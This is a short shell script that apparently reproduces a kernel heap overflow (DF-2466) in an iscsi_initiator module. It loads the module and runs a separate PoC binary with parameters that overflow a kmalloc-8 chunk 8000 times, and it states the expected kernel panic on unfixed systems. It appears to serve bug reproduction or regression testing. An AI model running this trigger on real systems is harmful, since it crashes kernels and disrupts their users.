DF-2466 / run.sh
#!/bin/sh # DF-2466 run: drive i_send heap overflow via ISCSISEND (root only). # Run as root (needs /dev/iscsi). ahs_len=7 ds_len=1 -> 3-byte overflow past # kmalloc-8 chunk boundary; looped to accumulate slab corruption. # # Expected (bug present, GENERIC INVARIANTS): kernel panic from slab # corruption / chunk-mark check, OR "Fatal trap" in slab allocator. # Expected (fixed): no panic; PoC completes all iters (or fails cleanly). echo "DF-2466: loading iscsi_initiator, running overflow PoC" kldload iscsi_initiator 2>/dev/null || true ./df2466 7 1 8000 echo "DF2466_EXIT=$?" echo "DF-2466: run complete (if we got here, no panic)" |